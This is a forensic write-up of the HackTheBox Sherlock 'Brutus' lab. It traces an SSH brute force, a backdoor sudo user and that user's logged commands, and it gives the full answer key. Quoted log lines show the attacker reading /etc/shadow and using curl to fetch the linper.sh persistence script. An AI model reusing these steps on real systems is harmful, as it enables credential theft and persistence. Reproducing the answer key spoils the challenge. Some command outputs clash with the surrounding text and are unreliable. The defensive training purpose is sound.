Introduction

HackTheBox Brutus is a beginner-level DFIR challenge that includes an auth.log file and a wtmp file as key artifacts. Using these, we’ll track how an attacker conducted an SSH brute force attack, ultimately succeeding in guessing the root user’s password. We’ll then analyze how the attacker manually reconnects, creates a new user, and adds this user to the sudo group. Finally, We’ll observe how the new user logs in and executes a few commands with sudo privileges.

HackTheBox Sherlock Brutus Description

In this very easy Sherlock, you will familiarize yourself with Unix auth.log and wtmp logs. We’ll explore a scenario where a Confluence server was brute-forced via its SSH service. After gaining access to the server, the attacker performed additional activities, which we can track using auth.log. Although auth.log is primarily used for brute-force analysis, we will delve into the full potential of this artifact in our investigation, including aspects of privilege escalation, persistence, and even some visibility into command execution.

HackTheBox Sherlock Brutus Questions

1. Analyzing the auth.log, can you identify the IP address used by the attacker to carry out a brute force attack?
2. The brute force attempts were successful, and the attacker gained access to an account on the server. What is the username of this account?
3. Can you identify the timestamp when the attacker manually logged in to the server to carry out their objectives?
4. SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker’s session for the user account from Question 2?
5. The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?
6. What is the MITRE ATT&CK sub-technique ID used for persistence?
7. How long did the attacker’s first SSH session last based on the previously confirmed authentication time and session ending within the auth.log? (seconds)
8. The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?

Analysis

Analyzing auth.log

The auth.log file records both successful and failed login attempts, sudo and su actions, and other authentication-related processes. On Debian/Ubuntu systems, this log is stored at /var/log/auth.log, while on RedHat/CentOS systems, it is located at /var/log/secure. Referring to the first entry in the auth.log for Brutus:

• Date/Time: March 6 at 06:18:01
• Hostname: ip-172–31–35–28
• Service: The cron service
• Process ID (PID): 1119
• Message: The root user initiated a cron job (scheduled Linux task) executed as the confluence user, who has a user ID (UID) of 998.

motasem@kali$ unzip -l Brutus.zip
Archive:  Brutus.zip
Date       Name
----------   ----
11:47   auth.log
11:47   wtmp

Certified Cyber Defender (CCD) Study Notes (Unofficial) - Buymeacoffee

The CCD Study Notes are a comprehensive guide designed to prepare individuals for the CCD certification exam. They cover a wide range of topics pertinent to cybersecurity defense, including SOC fundam

buymeacoffee.com

Analyzing wtmp

The wtmp file is one of three files used to log login and logout events on a Linux system:

1. /var/run/utmp: Tracks currently logged-in users.
2. /var/log/wtmp: Maintains a historical record of login and logout events.
3. /var/log/btmp: Logs unsuccessful login attempts.

motasem@kali$ head -1 auth.log
Dec  01 03:13:41 ip-172-31-35-28 CRON[1119]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)

These files store their data in a binary format, so their contents cannot be easily understood when accessed directly. Instead, specific Linux utilities are used to parse and display their information.

• For btmp, the who (or w) command will display its contents.
• The last command can be used to view wtmp.
• The lastb command is for examining btmp.

motasem@kali$ sudo lastb
root     pts/13                        Dec  01 03:13:41  (00:00)

btmp begins Dec  01 03:13:41

To examine a wtmp file independently, the utmpdump utility can be used. It is included in the util-linux package, which can be installed via sudo apt install util-linux. When viewing the contents of a wtmp file with utmpdump, the output includes the following columns:

• Event Type
• PID (Process ID)
• Terminal ID
• User
• Host
• IP Address
• Timestamp

motasem@kali$ utmpdump wtmp
Utmp dump of wtmp
[2] [00000] [~~  ] [reboot  ] [~           ] [6.2.0-1017-aws      ] [0.0.0.0        ] [2024-01-25T11:12:17,804944+00:00]
[5] [00601] [tyS0] [        ] [ttyS0       ] [                    ] [0.0.0.0        ] [2024-01-25T11:12:31,072401+00:00]
[6] [00601] [tyS0] [LOGIN   ] [ttyS0       ] [                    ] [0.0.0.0        ] [2024-01-25T11:12:31,072401+00:00]
[5] [00618] [tty1] [        ] [tty1        ] [                    ] [0.0.0.0        ] [2024-01-25T11:12:31,080342+00:00]
[6] [00618] [tty1] [LOGIN   ] [tty1        ] [                    ] [0.0.0.0        ] [2024-01-25T11:12:31,080342+00:00]
[1] [00053] [~~  ] [runlevel] [~           ] [6.2.0-1017-aws      ] [0.0.0.0        ] [2024-01-25T11:12:33,792454+00:00]
[7] [01284] [ts/0] [ubuntu  ] [pts/0       ] [203.101.190.9       ] [203.101.190.9  ] [2024-01-25T11:13:58,354674+00:00]
[8] [01284] [    ] [        ] [pts/0       ] [                    ] [0.0.0.0        ] [2024-01-25T11:15:12,956114+00:00]
[7] [01483] [ts/0] [root    ] [pts/0       ] [203.101.190.9       ] [203.101.190.9  ] [2024-01-25T11:15:40,806926+00:00]
[8] [01404] [    ] [        ] [pts/0       ] [                    ] [0.0.0.0        ] [2024-01-25T12:34:34,949753+00:00]
[7] [836798] [ts/0] [root    ] [pts/0       ] [203.101.190.9       ] [203.101.190.9  ] [2024-02-11T10:33:49,408334+00:00]
[5] [838568] [tyS0] [        ] [ttyS0       ] [                    ] [0.0.0.0        ] [2024-02-11T10:39:02,172417+00:00]
[6] [838568] [tyS0] [LOGIN   ] [ttyS0       ] [                    ] [0.0.0.0        ] [2024-02-11T10:39:02,172417+00:00]
[7] [838962] [ts/1] [root    ] [pts/1       ] [203.101.190.9       ] [203.101.190.9  ] [2024-02-11T10:41:11,700107+00:00]
[8] [838896] [    ] [        ] [pts/1       ] [                    ] [0.0.0.0        ] [2024-02-11T10:41:46,272984+00:00]
[7] [842171] [ts/1] [root    ] [pts/1       ] [203.101.190.9       ] [203.101.190.9  ] [2024-02-11T10:54:27,775434+00:00]
[8] [842073] [    ] [        ] [pts/1       ] [                    ] [0.0.0.0        ] [2024-02-11T11:08:04,769514+00:00]
[8] [836694] [    ] [        ] [pts/0       ] [                    ] [0.0.0.0        ] [2024-02-11T11:08:04,769963+00:00]
[1] [00000] [~~  ] [shutdown] [~           ] [6.2.0-1017-aws      ] [0.0.0.0        ] [2024-02-11T11:09:18,000731+00:00]
[2] [00000] [~~  ] [reboot  ] [~           ] [6.2.0-1018-aws      ] [0.0.0.0        ] [2024-03-06T06:17:15,744575+00:00]
[5] [00464] [tyS0] [        ] [ttyS0       ] [                    ] [0.0.0.0        ] [2024-03-06T06:17:27,354378+00:00]
[6] [00464] [tyS0] [LOGIN   ] [ttyS0       ] [                    ] [0.0.0.0        ] [2024-03-06T06:17:27,354378+00:00]
[5] [00505] [tty1] [        ] [tty1        ] [                    ] [0.0.0.0        ] [2024-03-06T06:17:27,469940+00:00]
[6] [00505] [tty1] [LOGIN   ] [tty1        ] [                    ] [0.0.0.0        ] [2024-03-06T06:17:27,469940+00:00]
[1] [00053] [~~  ] [runlevel] [~           ] [6.2.0-1018-aws      ] [0.0.0.0        ] [2024-03-06T06:17:29,538024+00:00]
[7] [01583] [ts/0] [root    ] [pts/0       ] [203.101.190.9       ] [203.101.190.9  ] [2024-03-06T06:19:55,151913+00:00]
[7] [02549] [ts/1] [root    ] [pts/1       ] [65.2.161.68         ] [65.2.161.68    ] [2024-03-06T06:32:45,387923+00:00]
[8] [02491] [    ] [        ] [pts/1       ] [                    ] [0.0.0.0        ] [2024-03-06T06:37:24,590579+00:00]
[7] [02667] [ts/1] [cyberjunkie] [pts/1       ] [65.2.161.68         ] [65.2.161.68    ] [2024-03-06T06:37:35,475575+00:00]

SSH Brute Force Analysis

To investigate a brute force attack over SSH, we’ll start by examining failed login attempts, as these won’t appear in the wtmp file. The auth.log file is relatively short at 385 lines, allowing for a manual scan to spot any anomalies. The log captures activity from March 6 within a 21-minute timeframe, from 06:18:01 to 06:41:01.

motasem@kali$ wc -l auth.log
385 auth.log

Since the auth.log format can be cumbersome to parse compared to structured formats like JSON, we’ll leverage Bash skills with commands like cut and grep for analysis. My approach to understanding the various services in the log involves:

Extracting the service name:

• Using cut with a space delimiter to isolate the 6th field (e.g., CRON[1119]:).
• Piping this output into cut again, splitting on [ to isolate just the service name (e.g., CRON).

Sorting and counting occurrences:

• Piping the results into sort | uniq -c | sort -nr to generate a frequency-sorted list of unique service names.

From this, we’ll identify the most active contributors to the log, primarily SSH and CRON, along with other potentially interesting Unix commands, which ew’ll investigate further.

motasem@kali$ cat auth.log | cut -d' ' -f 6 | cut -d[ -f1 | sort | uniq -c | sort -nr
257 sshd
104 CRON
8 systemd-logind
6 sudo:
3 groupadd
2 usermod
2 systemd:
1 useradd
1 passwd
1 chfn

To analyze SSH activity, we’ll use the command cat auth.log | grep sshd | less to filter and view only SSH-related events. The logs begin with a successful root login. Shortly afterward, there is a sequence of failed login attempts from the IP address 65.2.161.68. These logs indicate attempts to log in as the user “admin,” which does not exist on the system.

Mar  6 06:19:52 ip-172-31-35-28 sshd[1465]: AuthorizedKeysCommand /usr/share/ec2-instance-connect/eic_run_authorized_keys root SHA256:4vycLsDMzI+hyb9OP3wd18zIpyTqJmRq/QIZaLNrg8A failed, status 22
Mar  6 06:19:54 ip-172-31-35-28 sshd[1465]: Accepted password for root from 203.101.190.9 port 42825 ssh2
Mar  6 06:19:54 ip-172-31-35-28 sshd[1465]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)

The failed login attempts occur between 06:31:33 and 06:31:42, suggesting the use of a brute force tool or script, as a human typist could not input attempts so quickly. By using grep with the term “Failed,” we can extract the full range of failed login events.

Mar  6 06:31:31 ip-172-31-35-28 sshd[2325]: Invalid user admin from 65.2.161.68 port 46380
Mar  6 06:31:31 ip-172-31-35-28 sshd[2325]: Received disconnect from 65.2.161.68 port 46380:11: Bye Bye [preauth]
Mar  6 06:31:31 ip-172-31-35-28 sshd[2325]: Disconnected from invalid user admin 65.2.161.68 port 46380 [preauth]
Mar  6 06:31:31 ip-172-31-35-28 sshd[620]: error: beginning MaxStartups throttling
Mar  6 06:31:31 ip-172-31-35-28 sshd[620]: drop connection #10 from [65.2.161.68]:46482 on [172.31.35.28]:22 past MaxStartups
Mar  6 06:31:31 ip-172-31-35-28 sshd[2327]: Invalid user admin from 65.2.161.68 port 46392
Mar  6 06:31:31 ip-172-31-35-28 sshd[2327]: pam_unix(sshd:auth): check pass; user unknown
Mar  6 06:31:31 ip-172-31-35-28 sshd[2327]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68
Mar  6 06:31:31 ip-172-31-35-28 sshd[2332]: Invalid user admin from 65.2.161.68 port 46444
Mar  6 06:31:31 ip-172-31-35-28 sshd[2331]: Invalid user admin from 65.2.161.68 port 46436
Mar  6 06:31:31 ip-172-31-35-28 sshd[2332]: pam_unix(sshd:auth): check pass; user unknown
Mar  6 06:31:31 ip-172-31-35-28 sshd[2332]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68
Mar  6 06:31:31 ip-172-31-35-28 sshd[2331]: pam_unix(sshd:auth): check pass; user unknown
Mar  6 06:31:31 ip-172-31-35-28 sshd[2331]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68
Mar  6 06:31:31 ip-172-31-35-28 sshd[2330]: Invalid user admin from 65.2.161.68 port 46422
Mar  6 06:31:31 ip-172-31-35-28 sshd[2337]: Invalid user admin from 65.2.161.68 port 46498
Mar  6 06:31:31 ip-172-31-35-28 sshd[2328]: Invalid user admin from 65.2.161.68 port 46390
Mar  6 06:31:31 ip-172-31-35-28 sshd[2335]: Invalid user admin from 65.2.161.68 port 46460

To further analyze, I’ll use cut and grep to create a histogram of the attempted login usernames. This involves isolating the username portion, which may either be a single word or prefixed with “invalid user.” To handle this, we’ll manipulate the string with cut and reverse it to capture the data accurately.

motasem@kali$ cat auth.log | grep Failed | cut -d: -f4 | cut -d' ' -f5- | rev | cut -d' ' -f6- | rev | sort | uniq -c | sort -nr
12 invalid user server_adm
11 invalid user svc_account
10 invalid user admin
9 backup
6 root

This analysis reveals that the attacker attempted five different usernames and identified two valid ones.

At this stage, it appears reasonable to conclude that the attacker’s IP address is 65.2.161.68.

Once we determine the timeframe of the brute force attack, it’s essential to review all the logs within that period to identify any successful attempts. Previously, we noticed that a successful SSH login message began with “Accepted password for.” we’ll use grep to search for that pattern.

motasem@kali$ cat auth.log | grep Accepted
Mar  6 06:19:54 ip-172-31-35-28 sshd[1465]: Accepted password for root from 203.101.190.9 port 42825 ssh2
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2

The search reveals four successful logins, with the second one occurring near the end of the brute force activity targeting the root user. Reviewing logs from that time shows related entries. Specifically, there’s a successful login as root followed immediately by a disconnect within the same second. The logs include multiple disconnection entries, but it’s worth noting that the connection for root occurs on port 34782, and the corresponding disconnect for that port appears 12 lines later amidst ongoing brute force attempts.

Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar  6 06:31:40 ip-172-31-35-28 systemd-logind[411]: New session 34 of user root.
Mar  6 06:31:40 ip-172-31-35-28 sshd[2379]: Received disconnect from 65.2.161.68 port 46698:11: Bye Bye [preauth]
Mar  6 06:31:40 ip-172-31-35-28 sshd[2379]: Disconnected from invalid user server_adm 65.2.161.68 port 46698 [preauth]
Mar  6 06:31:40 ip-172-31-35-28 sshd[2380]: Received disconnect from 65.2.161.68 port 46710:11: Bye Bye [preauth]
Mar  6 06:31:40 ip-172-31-35-28 sshd[2380]: Disconnected from invalid user server_adm 65.2.161.68 port 46710 [preauth]
Mar  6 06:31:40 ip-172-31-35-28 sshd[2387]: Connection closed by invalid user svc_account 65.2.161.68 port 46742 [preauth]
Mar  6 06:31:40 ip-172-31-35-28 sshd[2423]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68  user=backup
Mar  6 06:31:40 ip-172-31-35-28 sshd[2424]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68  user=backup
Mar  6 06:31:40 ip-172-31-35-28 sshd[2389]: Connection closed by invalid user svc_account 65.2.161.68 port 46744 [preauth]
Mar  6 06:31:40 ip-172-31-35-28 sshd[2391]: Connection closed by invalid user svc_account 65.2.161.68 port 46750 [preauth]
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Received disconnect from 65.2.161.68 port 34782:11: Bye Bye
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Disconnected from user root 65.2.161.68 port 34782
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: pam_unix(sshd:session): session closed for user root
Mar  6 06:31:40 ip-172-31-35-28 systemd-logind[411]: Session 34 logged out. Waiting for processes to exit.
Mar  6 06:31:40 ip-172-31-35-28 systemd-logind[411]: Removed session 34.

This pattern aligns with behavior typical of brute force tools like Hydra or NetExec, which test for success or failure and log successful attempts for later use by the attacker.

In this case, the account successfully brute forced was root.

Root Session Analysis

The logs indicate a successful root authentication at 06:32:44. At that time, there are only three logs, and the session ID for the root user is 37. A review of the wtmp file using wtmpdump reveals that the third-to-last row is a type 7 event (USER_PROCESS), where root logged in from the attacker’s IP at 06:32:45—one second after the successful authentication noted in auth.log. The timestamp of this event is the answer to Task 3.

Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2

Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)

Mar 6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root

Other log types observed in auth.log—besides SSH and cron—include sudo, groupadd, usermod, systemd, useradd, passwd, and chfn. To address Task 5, attention is focused on useradd logs. At 06:34:18, four log entries indicate the creation of the cyberjunkie user and group. Shortly afterward, the user’s password is set.

Skipping over some cron activities, logs show that less than a minute later, usermod is used to add cyberjunkie to the sudo group. The sudo group allows users to execute any command as root using sudo. Consequently, cyberjunkie is the answer to Task 5.

motasem@kali$ utmpdump wtmp
Utmp dump of wtmp
[2] [00000] [~~  ] [reboot  ] [~           ] [6.2.0-1017-aws      ] [0.0.0.0        ] [2024-01-25T11:12:17,804944+00:00]
[5] [00601] [tyS0] [        ] [ttyS0       ] [                    ] [0.0.0.0        ] [2024-01-25T11:12:31,072401+00:00]
[6] [00601] [tyS0] [LOGIN   ] [ttyS0       ] [                    ] [0.0.0.0        ] [2024-01-25T11:12:31,072401+00:00]
[5] [00618] [tty1] [        ] [tty1        ] [                    ] [0.0.0.0        ] [2024-01-25T11:12:31,080342+00:00]
[6] [00618] [tty1] [LOGIN   ] [tty1        ] [                    ] [0.0.0.0        ] [2024-01-25T11:12:31,080342+00:00]
[1] [00053] [~~  ] [runlevel] [~           ] [6.2.0-1017-aws      ] [0.0.0.0        ] [2024-01-25T11:12:33,792454+00:00]
[7] [01284] [ts/0] [ubuntu  ] [pts/0       ] [203.101.190.9       ] [203.101.190.9  ] [2024-01-25T11:13:58,354674+00:00]
[8] [01284] [    ] [        ] [pts/0       ] [                    ] [0.0.0.0        ] [2024-01-25T11:15:12,956114+00:00]
[7] [01483] [ts/0] [root    ] [pts/0       ] [203.101.190.9       ] [203.101.190.9  ] [2024-01-25T11:15:40,806926+00:00]
[8] [01404] [    ] [        ] [pts/0       ] [                    ] [0.0.0.0        ] [2024-01-25T12:34:34,949753+00:00]
[7] [836798] [ts/0] [root    ] [pts/0       ] [203.101.190.9       ] [203.101.190.9  ] [2024-02-11T10:33:49,408334+00:00]
[5] [838568] [tyS0] [        ] [ttyS0       ] [                    ] [0.0.0.0        ] [2024-02-11T10:39:02,172417+00:00]
[6] [838568] [tyS0] [LOGIN   ] [ttyS0       ] [                    ] [0.0.0.0        ] [2024-02-11T10:39:02,172417+00:00]
[7] [838962] [ts/1] [root    ] [pts/1       ] [203.101.190.9       ] [203.101.190.9  ] [2024-02-11T10:41:11,700107+00:00]
[8] [838896] [    ] [        ] [pts/1       ] [                    ] [0.0.0.0        ] [2024-02-11T10:41:46,272984+00:00]
[7] [842171] [ts/1] [root    ] [pts/1       ] [203.101.190.9       ] [203.101.190.9  ] [2024-02-11T10:54:27,775434+00:00]
[8] [842073] [    ] [        ] [pts/1       ] [                    ] [0.0.0.0        ] [2024-02-11T11:08:04,769514+00:00]
[8] [836694] [    ] [        ] [pts/0       ] [                    ] [0.0.0.0        ] [2024-02-11T11:08:04,769963+00:00]
[1] [00000] [~~  ] [shutdown] [~           ] [6.2.0-1017-aws      ] [0.0.0.0        ] [2024-02-11T11:09:18,000731+00:00]
[2] [00000] [~~  ] [reboot  ] [~           ] [6.2.0-1018-aws      ] [0.0.0.0        ] [2024-03-06T06:17:15,744575+00:00]
[5] [00464] [tyS0] [        ] [ttyS0       ] [                    ] [0.0.0.0        ] [2024-03-06T06:17:27,354378+00:00]
[6] [00464] [tyS0] [LOGIN   ] [ttyS0       ] [                    ] [0.0.0.0        ] [2024-03-06T06:17:27,354378+00:00]
[5] [00505] [tty1] [        ] [tty1        ] [                    ] [0.0.0.0        ] [2024-03-06T06:17:27,469940+00:00]
[6] [00505] [tty1] [LOGIN   ] [tty1        ] [                    ] [0.0.0.0        ] [2024-03-06T06:17:27,469940+00:00]
[1] [00053] [~~  ] [runlevel] [~           ] [6.2.0-1018-aws      ] [0.0.0.0        ] [2024-03-06T06:17:29,538024+00:00]
[7] [01583] [ts/0] [root    ] [pts/0       ] [203.101.190.9       ] [203.101.190.9  ] [2024-03-06T06:19:55,151913+00:00]
[7] [02549] [ts/1] [root    ] [pts/1       ] [65.2.161.68         ] [65.2.161.68    ] [2024-03-06T06:32:45,387923+00:00]
[8] [02491] [    ] [        ] [pts/1       ] [                    ] [0.0.0.0        ] [2024-03-06T06:37:24,590579+00:00]
[7] [02667] [ts/1] [cyberjunkie] [pts/1       ] [65.2.161.68         ] [65.2.161.68

Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/group: name=cyberjunkie, GID=1002
Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/gshadow: name=cyberjunkie
Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: new group: name=cyberjunkie, GID=1002
Mar  6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts
Mar  6 06:34:26 ip-172-31-35-28 passwd[2603]: pam_unix(passwd:chauthtok): password changed for cyberjunkie
Mar  6 06:34:31 ip-172-31-35-28 chfn[2605]: changed user 'cyberjunkie' information

Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to group 'sudo'
Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to shadow group 'sudo'

“Create Account” is a persistence technique listed in the MITRE ATT&CK matrix. The specific identifier for creating a local account is T1136.001 (Task 6).

The session disconnects shortly afterward, with the total session duration recorded as 06:32:45 to 06:37:24, amounting to 279 seconds (Task 7).

Cyberjunkie Session Analysis

The auth.log file shows another successful authentication by the newly created user, cyberjunkie, at 06:37:34, with wtmp confirming the session began one second later.

Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2
Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: pam_unix(sshd:session): session opened for user cyberjunkie(uid=1002) by (uid=0)
Mar  6 06:37:34 ip-172-31-35-28 systemd-logind[411]: New session 49 of user cyberjunkie.
Mar  6 06:37:34 ip-172-31-35-28 systemd: pam_unix(systemd-user:session): session opened for user cyberjunkie(uid=1002) by (uid=0)

After logging in, the user performs a few actions recorded in auth.log. At 06:37:57, they use sudo to print the contents of the /etc/shadow file, which contains password hashes for system users.

Mar  6 06:37:57 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
Mar  6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar  6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root

Approximately a minute later, they download the script linper.sh from GitHub using the command:

Mar  6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
Mar  6 06:39:38 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar  6 06:39:39 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root

Attack Timeline

Here’s the timeline summarized and organized:

Time (UTC)Event DescriptionSource06:18:01First log entry recordedauth.log06:31:33SSH brute force attack beginsauth.log06:31:40Successful SSH login as rootauth.log06:31:42SSH brute force attack endsauth.log06:32:44Root user logs in via SSHauth.log06:32:45Root terminal session initiatedwtmp06:34:18“cyberjunkie” user and group createdauth.log06:35:15“cyberjunkie” added to the sudo groupauth.log06:37:24Root session disconnectsauth.log06:37:34“cyberjunkie” logs in via SSHauth.log06:37:35“cyberjunkie” terminal session initiatedwtmp06:37:57“cyberjunkie” accesses /etc/shadow fileauth.log06:39:38“cyberjunkie” downloads linper.shauth.log06:41:01Final log entry recordedauth.log

HackTheBox Sherlock Brutus Questions and answers

Analyzing the auth.log, can you identify the IP address used by the attacker to carry out a brute force attack?

65.2.161.68

The brute force attempts were successful, and the attacker gained access to an account on the server. What is the username of this account?

root

Can you identify the timestamp when the attacker manually logged in to the server to carry out their objectives?

2024–03–06 06:32:45

SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker’s session for the user account from Question 2?

37

The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?

cyberjunkie

What is the MITRE ATT&CK sub-technique ID used for persistence?

T1136.001

How long did the attacker’s first SSH session last based on the previously confirmed authentication time and session ending within the auth.log? (seconds)

279

The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?

/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh

You can also watch: